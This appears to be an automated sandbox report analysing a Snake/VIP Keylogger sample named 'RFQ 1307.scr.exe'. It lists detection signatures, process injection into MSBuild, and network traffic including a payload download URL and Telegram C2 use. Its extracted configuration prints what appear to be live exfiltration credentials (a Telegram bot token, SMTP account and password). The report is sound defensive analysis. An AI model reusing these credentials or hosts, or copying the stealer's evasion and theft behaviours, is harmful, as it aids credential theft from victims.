Edit tour

Windows Analysis Report
RFQ 1307.scr.exe

Overview

General Information

Sample name:	RFQ 1307.scr.exe
Analysis ID:	1538506
MD5:	3f88227748d2baa1abff19031bde3950
SHA1:	d3b1988a2ca7a3b92c3e57164c9040feb283d15c
SHA256:	e879ebd5f9a3351d09cbc970535a0c1035a85e9944c26f68c75d827e8e19513c
Tags:	exeuser-lowmal3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

RFQ 1307.scr.exe (PID: 7540 cmdline: "C:\Users\user\Desktop\RFQ 1307.scr.exe" MD5: 3F88227748D2BAA1ABFF19031BDE3950)

MSBuild.exe (PID: 7992 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Bot Token": "7236590670:AAEZk9ec6tcUIipI8D5VK8zyHeQjcafFyOY", "Chat id": "2052461776", "Email ID": "info@al-subai.com", "Password": "information12", "Host": "mail.al-subai.com", "Port": "587", "Version": "4.4"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Username": "info@al-subai.com", "Password": "information12", "Host": "mail.al-subai.com", "Port": "587", "Token": "7236590670:AAEZk9ec6tcUIipI8D5VK8zyHeQjcafFyOY", "Chat_id": "2052461776", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1706854416.000000000382B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e0b3:$a1: get_encryptedPassword 0x2e3d0:$a2: get_encryptedUsername 0x2dec3:$a3: get_timePasswordChanged 0x2dfcc:$a4: get_passwordField 0x2e0c9:$a5: set_encryptedPassword 0x2f673:$a7: get_logins 0x2f5d6:$a10: KeyLoggerEventArgs 0x2f269:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2618358547.0000000003058000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1719710459.0000000007050000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c963:$a1: get_encryptedPassword 0x2cc80:$a2: get_encryptedUsername 0x2c773:$a3: get_timePasswordChanged 0x2c87c:$a4: get_passwordField 0x2c979:$a5: set_encryptedPassword 0x2df23:$a7: get_logins 0x2de86:$a10: KeyLoggerEventArgs 0x2db19:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cc43:$a1: get_encryptedPassword 0x2cf60:$a2: get_encryptedUsername 0x2ca53:$a3: get_timePasswordChanged 0x2cb5c:$a4: get_passwordField 0x2cc59:$a5: set_encryptedPassword 0x2e203:$a7: get_logins 0x2e166:$a10: KeyLoggerEventArgs 0x2ddf9:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RFQ 1307.scr.exe PID: 7540	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: RFQ 1307.scr.exe PID: 7540	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RFQ 1307.scr.exe PID: 7540	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RFQ 1307.scr.exe PID: 7540	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: RFQ 1307.scr.exe PID: 7540	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RFQ 1307.scr.exe PID: 7540	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x48360:$a1: get_encryptedPassword 0xa4437:$a1: get_encryptedPassword 0x48673:$a2: get_encryptedUsername 0xa474a:$a2: get_encryptedUsername 0x4817a:$a3: get_timePasswordChanged 0xa4251:$a3: get_timePasswordChanged 0x48283:$a4: get_passwordField 0xa435a:$a4: get_passwordField 0x48376:$a5: set_encryptedPassword 0xa444d:$a5: set_encryptedPassword 0x4a73d:$a7: get_logins 0xa6814:$a7: get_logins 0x4a6a0:$a10: KeyLoggerEventArgs 0xa6777:$a10: KeyLoggerEventArgs 0x4a337:$a11: KeyLoggerEventArgsEventHandler 0xa640e:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: MSBuild.exe PID: 7992	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7992	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: MSBuild.exe PID: 7992	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MSBuild.exe PID: 7992	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1ad2ab:$a1: get_encryptedPassword 0x1ad5be:$a2: get_encryptedUsername 0x1ad0c5:$a3: get_timePasswordChanged 0x1ad1ce:$a4: get_passwordField 0x1ad2c1:$a5: set_encryptedPassword 0x1af688:$a7: get_logins 0x1af5eb:$a10: KeyLoggerEventArgs 0x1af282:$a11: KeyLoggerEventArgsEventHandler
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.RFQ 1307.scr.exe.7050000.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cb63:$a1: get_encryptedPassword 0x2ce80:$a2: get_encryptedUsername 0x2c973:$a3: get_timePasswordChanged 0x2ca7c:$a4: get_passwordField 0x2cb79:$a5: set_encryptedPassword 0x2e123:$a7: get_logins 0x2e086:$a10: KeyLoggerEventArgs 0x2dd19:$a11: KeyLoggerEventArgsEventHandler
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a83d:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39ee0:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a13d:$a4: \Orbitum\User Data\Default\Login Data 0x3ab1c:$a5: \Kometa\User Data\Default\Login Data
0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d6dc:$s1: UnHook 0x2d6e3:$s2: SetHook 0x2d6eb:$s3: CallNextHook 0x2d6f8:$s4: _hook
4.2.MSBuild.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MSBuild.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MSBuild.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MSBuild.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.RFQ 1307.scr.exe.4469550.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MSBuild.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2cb63:$a1: get_encryptedPassword 0x2ce80:$a2: get_encryptedUsername 0x2c973:$a3: get_timePasswordChanged 0x2ca7c:$a4: get_passwordField 0x2cb79:$a5: set_encryptedPassword 0x2e123:$a7: get_logins 0x2e086:$a10: KeyLoggerEventArgs 0x2dd19:$a11: KeyLoggerEventArgsEventHandler
0.2.RFQ 1307.scr.exe.4469550.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2ad63:$a1: get_encryptedPassword 0x2b080:$a2: get_encryptedUsername 0x2ab73:$a3: get_timePasswordChanged 0x2ac7c:$a4: get_passwordField 0x2ad79:$a5: set_encryptedPassword 0x2c323:$a7: get_logins 0x2c286:$a10: KeyLoggerEventArgs 0x2bf19:$a11: KeyLoggerEventArgsEventHandler
0.2.RFQ 1307.scr.exe.4469550.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x38a3d:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x380e0:$a3: \Google\Chrome\User Data\Default\Login Data 0x3833d:$a4: \Orbitum\User Data\Default\Login Data 0x38d1c:$a5: \Kometa\User Data\Default\Login Data
0.2.RFQ 1307.scr.exe.4469550.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2b8dc:$s1: UnHook 0x2b8e3:$s2: SetHook 0x2b8eb:$s3: CallNextHook 0x2b8f8:$s4: _hook
4.2.MSBuild.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a83d:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39ee0:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a13d:$a4: \Orbitum\User Data\Default\Login Data 0x3ab1c:$a5: \Kometa\User Data\Default\Login Data
4.2.MSBuild.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d6dc:$s1: UnHook 0x2d6e3:$s2: SetHook 0x2d6eb:$s3: CallNextHook 0x2d6f8:$s4: _hook
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DesusertionIp: 193.122.130.0, DesusertionIsIpv6: false, DesusertionPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7992, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49922

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T13:17:54.070231+0200	2803305	3	Unknown Traffic	192.168.2.9	49940	188.114.96.3	443	TCP
2024-10-21T13:17:55.678570+0200	2803305	3	Unknown Traffic	192.168.2.9	49951	188.114.96.3	443	TCP
2024-10-21T13:17:57.165710+0200	2803305	3	Unknown Traffic	192.168.2.9	49959	188.114.96.3	443	TCP
2024-10-21T13:18:00.359234+0200	2803305	3	Unknown Traffic	192.168.2.9	49981	188.114.96.3	443	TCP
2024-10-21T13:18:02.282053+0200	2803305	3	Unknown Traffic	192.168.2.9	49986	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T13:17:52.053900+0200	2803274	2	Potentially Bad Traffic	192.168.2.9	49922	193.122.130.0	80	TCP
2024-10-21T13:17:53.350646+0200	2803274	2	Potentially Bad Traffic	192.168.2.9	49922	193.122.130.0	80	TCP
2024-10-21T13:17:54.944395+0200	2803274	2	Potentially Bad Traffic	192.168.2.9	49945	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RFQ 1307.scr.exe

Avira: detected

Found malware configuration

Source: 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Username": "info@al-subai.com", "Password": "information12", "Host": "mail.al-subai.com", "Port": "587", "Token": "7236590670:AAEZk9ec6tcUIipI8D5VK8zyHeQjcafFyOY", "Chat_id": "2052461776", "Version": "4.4"}
Source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Bot Token": "7236590670:AAEZk9ec6tcUIipI8D5VK8zyHeQjcafFyOY", "Chat id": "2052461776", "Email ID": "info@al-subai.com", "Password": "information12", "Host": "mail.al-subai.com", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: RFQ 1307.scr.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: RFQ 1307.scr.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: RFQ 1307.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49932 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.159.36.18:443 -> 192.168.2.9:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49991 version: TLS 1.2

Source: RFQ 1307.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004648000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1706854416.000000000379B000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1717291855.0000000006380000.00000004.08000000.00040000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.00000000046C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: RFQ 1307.scr.exe, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004648000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1706854416.000000000379B000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1717291855.0000000006380000.00000004.08000000.00040000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.00000000046C0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0157F5BDh	4_2_0157F420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0157F5BDh	4_2_0157F60C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0157FD79h	4_2_0157FAD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059364E0h	4_2_059361E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05935066h	4_2_05934D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593C480h	4_2_0593C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059394B0h	4_2_059391B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593AC98h	4_2_0593A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05933076h	4_2_05932DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05937CC8h	4_2_059379D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059310BEh	4_2_05930DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05932BE6h	4_2_05932918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05934BD6h	4_2_05934908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05937800h	4_2_05937508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593F450h	4_2_0593F158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593DC68h	4_2_0593D970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05930C2Eh	4_2_05930960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593EF88h	4_2_0593EC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05932756h	4_2_05932488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593D7A0h	4_2_0593D4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593079Eh	4_2_059304D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593A7D0h	4_2_0593A4D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593BFB8h	4_2_0593BCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05938FE8h	4_2_05938CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593A308h	4_2_0593A010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05938B20h	4_2_05938828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593030Eh	4_2_05930040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05937338h	4_2_05937040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05934747h	4_2_05934478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593EAC0h	4_2_0593E7C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059322C6h	4_2_05931FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593BAF0h	4_2_0593B7F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593D2D8h	4_2_0593CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059342B6h	4_2_05933FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059319B7h	4_2_05931710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593CE10h	4_2_0593CB18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593E5F8h	4_2_0593E300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593B628h	4_2_0593B330
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05933E26h	4_2_05933B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05935EB7h	4_2_05935B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05939E40h	4_2_05939B48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05936E70h	4_2_05936B78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05938658h	4_2_05938360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05931E36h	4_2_05931B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05938190h	4_2_05937E98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593154Eh	4_2_05931280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05939978h	4_2_05939680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059369A8h	4_2_059366B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05935986h	4_2_059356B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05933996h	4_2_059336C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593FDE0h	4_2_0593FAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 05933506h	4_2_05933238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593E130h	4_2_0593DE38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593F918h	4_2_0593F620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 059354F6h	4_2_05935228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593C948h	4_2_0593C650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 0593B160h	4_2_0593AE68

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /wp-includes/Lwkmydbthhy.dat HTTP/1.1Host: playstoremeta.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
